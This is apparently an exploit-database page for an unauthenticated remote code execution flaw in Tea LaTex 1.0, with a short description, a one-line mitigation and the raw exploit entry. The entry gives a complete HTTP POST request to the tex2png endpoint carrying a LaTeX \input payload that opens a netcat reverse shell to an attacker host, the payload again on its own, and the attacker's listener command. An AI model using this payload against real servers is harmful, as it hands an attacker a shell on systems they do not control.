Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)

vendor:

Tea LaTex

by:

nepsk

9.8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Tea LaTex

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:ammarfaizi2:latex.teainside.org

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux / Windows 10

2020

Tea LaTex 1.0 – Remote Code Execution (Unauthenticated)

Tea LaTex 1.0 is vulnerable to unauthenticated remote code execution. An attacker can send a malicious payload to the /api.php?action=tex2png endpoint to execute arbitrary code on the server. The payload is sent as a POST request with the content type set to text/plain and the charset set to UTF-8. The payload is then executed on the server, allowing the attacker to gain a remote shell.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update to the latest version of Tea LaTex 1.0.

Source

Exploit-DB raw data:

# Exploit Title: Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-01
# Exploit Author: nepska
# Vendor Homepage: https://github.com/ammarfaizi2/latex.teainside.org
# Software Link: https://github.com/ammarfaizi2/latex.teainside.org
# Version: v1.0
# Tested on: Kali linux / Windows 10
# CVE: N/A


# Header Requests

POST /api.php?action=tex2png HTTP/1.1
Host: latex.teainside.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 64
Origin: https://latex.teainside.org
DNT: 1
Connection: keep-alive
Referer: https://latex.teainside.org/
Cookie: __cfduid=d7e499dd5e2cf708117e613f7286aa2021599260403


{"content":"\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}","d":200,"border":"50x20","bcolor":"white"}




# Payload 

\documentclass{article}\begin{document}\input{|"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1234 >/tmp/f"}\end{document}


# Attacker 

nc -lvp 1234